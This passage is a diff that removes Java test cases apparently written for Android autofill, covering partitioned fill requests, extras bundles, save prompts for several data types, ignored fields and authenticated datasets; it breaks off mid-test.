-        extras.putString("numbers", "4");
-
-        // Prepare 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setExtras(extras)
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger auto-fill on 1st partition.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        assertThat(fillRequest1.data).isNull();
-        mUiBot.assertDatasets("l1c1");
-
-        // Prepare 2nd partition; it replaces 'number' and adds 'numbers2'
-        extras.clear();
-        extras.putString("numbers", "48");
-        extras.putString("numbers2", "1516");
-
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setExtras(extras)
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger auto-fill on 2nd partition
-        focusCell(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.flags).isEqualTo(0);
-        assertWithMessage("null bundle on request 2").that(fillRequest2.data).isNotNull();
-        assertWithMessage("wrong number of extras on request 2 bundle")
-                .that(fillRequest2.data.size()).isEqualTo(1);
-        assertThat(fillRequest2.data.getString("numbers")).isEqualTo("4");
-
-        // Prepare 3nd partition; it has no extras
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setExtras(null)
-                .build();
-        sReplier.addResponse(response3);
-
-        // Trigger auto-fill on 3rd partition
-        focusCell(3, 1);
-        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
-        assertThat(fillRequest3.flags).isEqualTo(0);
-        assertWithMessage("null bundle on request 3").that(fillRequest2.data).isNotNull();
-        assertWithMessage("wrong number of extras on request 3 bundle")
-                .that(fillRequest3.data.size()).isEqualTo(2);
-        assertThat(fillRequest3.data.getString("numbers")).isEqualTo("48");
-        assertThat(fillRequest3.data.getString("numbers2")).isEqualTo("1516");
-
-
-        // Prepare 4th partition; it contains just 'numbers4'
-        extras.clear();
-        extras.putString("numbers4", "2342");
-
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
-                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .setExtras(extras)
-                .build();
-        sReplier.addResponse(response4);
-
-        // Trigger auto-fill on 4th partition
-        focusCell(4, 1);
-        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
-        assertThat(fillRequest4.flags).isEqualTo(0);
-        assertWithMessage("non-null bundle on request 4").that(fillRequest4.data).isNull();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        assertWithMessage("wrong number of extras on save request bundle")
-                .that(saveRequest.data.size()).isEqualTo(1);
-        assertThat(saveRequest.data.getString("numbers4")).isEqualTo("2342");
-    }
-
-    @Test
-    public void testSaveOneSaveInfoOnFirstPartitionWithIdsOnSecond() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-    }
-
-    @Test
-    public void testSaveOneSaveInfoOnSecondPartitionWithIdsOnFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-    }
-
-    @Test
-    public void testSaveTwoSaveInfosDifferentTypes() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-    }
-
-    @Test
-    public void testSaveThreeSaveInfosDifferentTypes() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 3rd partition.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
-                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
-                .build();
-        sReplier.addResponse(response3);
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.setText(3, 1, "L3C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD,
-                SAVE_DATA_TYPE_USERNAME);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
-    }
-
-    @Test
-    public void testSaveThreeSaveInfosDifferentTypesIncludingGeneric() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC, ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 3rd partition.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setRequiredSavableIds(
-                        SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC | SAVE_DATA_TYPE_USERNAME,
-                        ID_L3C1)
-                .build();
-        sReplier.addResponse(response3);
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.setText(3, 1, "L3C1");
-        mActivity.save();
-
-        // Make sure GENERIC type is not shown on snackbar
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_USERNAME);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
-    }
-
-    @Test
-    public void testSaveMoreThanThreeSaveInfosDifferentTypes() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 3rd partition.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
-                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
-                .build();
-        sReplier.addResponse(response3);
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 4th partition.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
-                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
-                        | SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_ADDRESS, ID_L4C1)
-                .build();
-        sReplier.addResponse(response4);
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.setText(3, 1, "L3C1");
-        mActivity.setText(4, 1, "L4C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
-        assertValue(saveRequest.structure, ID_L4C1, "L4C1");
-    }
-
-    @Test
-    public void testIgnoredFieldsDontTriggerAutofill() throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setIgnoreFields(ID_L2C1, ID_L2C2)
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger auto-fill on 1st partition.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
-        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
-
-        // Make sure UI is shown on 1st partition
-        mUiBot.assertDatasets("l1c1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("l1c2");
-
-        // Make sure UI is not shown on ignored partition
-        focusCell(2, 1);
-        mUiBot.assertNoDatasets();
-        focusCellNoWindowChange(2, 2);
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset, but they don't overlap, i.e.,
-     * each {@link FillResponse} only contain fields within the partition.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsNoOverlap() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D2"))
-                        .setField(ID_L1C1, "L1C1")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, "L2C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, "L3C1")
-                        .setField(ID_L3C2, "L3C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "L3C1")
-                .onCell(3, 2, "L3C2");
-
-        // Trigger partition.
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, "l4c1")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, "L4C1")
-                        .setField(ID_L4C2, "L4C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1");
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        /*
-         *  Now move focus around to make sure the proper values are displayed each time.
-         */
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /*
-         *  Finally, autofill and check results.
-         */
-        focusCell(4, 1);
-        mUiBot.selectDataset("P4D1");
-        expectation4.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("P1D1");
-        expectation1.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("P3D2");
-        expectation3.assertAutoFilled();
-
-        focusCell(2, 2);
-        mUiBot.selectDataset("P2D2");
-        expectation2.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
-     * some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the first.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsOverlappingPicksFirst() throws Exception {
-        autofillMultipleDatasetsOverlapping(true);
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
-     * some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the second.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsOverlappingPicksSecond() throws Exception {
-        autofillMultipleDatasetsOverlapping(false);
-    }
-
-    private void autofillMultipleDatasetsOverlapping(boolean pickFirst) throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D1"))
-                        .setField(ID_L1C1, "1l1c1")
-                        .setField(ID_L1C2, "1l1c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D2"))
-                        .setField(ID_L1C1, "1L1C1")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L1C1, "2l1c1") // from previous partition
-                        .setField(ID_L2C1, "2l2c1")
-                        .setField(ID_L2C2, "2l2c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, "2L2C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1"); // changed
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L1C2, "3l1c2")
-                        .setField(ID_L3C1, "3l3c1")
-                        .setField(ID_L3C2, "3l3c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L2C2, "3l2c2")
-                        .setField(ID_L3C1, "3L3C1")
-                        .setField(ID_L3C2, "3L3C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-
-        // Trigger partition.
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P3D1"); // changed
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P3D2"); // changed
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L1C1, "4l1c1")
-                        .setField(ID_L1C2, "4l1c2")
-                        .setField(ID_L2C1, "4l2c1")
-                        .setField(ID_L2C2, "4l2c2")
-                        .setField(ID_L3C1, "4l3c1")
-                        .setField(ID_L3C2, "4l3c2")
-                        .setField(ID_L4C1, "4l4c1")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L1C1, "4L1C1")
-                        .setField(ID_L1C2, "4L1C2")
-                        .setField(ID_L2C1, "4L2C1")
-                        .setField(ID_L2C2, "4L2C2")
-                        .setField(ID_L3C1, "4L3C1")
-                        .setField(ID_L3C2, "4L3C2")
-                        .setField(ID_L1C1, "4L1C1")
-                        .setField(ID_L4C1, "4L4C1")
-                        .setField(ID_L4C2, "4L4C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        /*
-         * Finally, autofill and check results.
-         */
-        final FillExpectation expectation = mActivity.expectAutofill();
-        final String chosenOne;
-        if (pickFirst) {
-            expectation
-                .onCell(1, 1, "4l1c1")
-                .onCell(1, 2, "4l1c2")
-                .onCell(2, 1, "4l2c1")
-                .onCell(2, 2, "4l2c2")
-                .onCell(3, 1, "4l3c1")
-                .onCell(3, 2, "4l3c2")
-                .onCell(4, 1, "4l4c1");
-            chosenOne = "P4D1";
-        } else {
-            expectation
-                .onCell(1, 1, "4L1C1")
-                .onCell(1, 2, "4L1C2")
-                .onCell(2, 1, "4L2C1")
-                .onCell(2, 2, "4L2C2")
-                .onCell(3, 1, "4L3C1")
-                .onCell(3, 2, "4L3C2")
-                .onCell(4, 1, "4L4C1")
-                .onCell(4, 2, "4L4C2");
-            chosenOne = "P4D2";
-        }
-
-        focusCell(4, 1);
-        mUiBot.selectDataset(chosenOne);
-        expectation.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillMultipleAuthDatasetsInSequence() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build());
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth11)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        // Autofill it...
-        mUiBot.selectDataset("P1D1");
-        // ... and assert result
-        expectation1.assertAutoFilled();
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
-        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L2C2, "L2C2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth21)
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
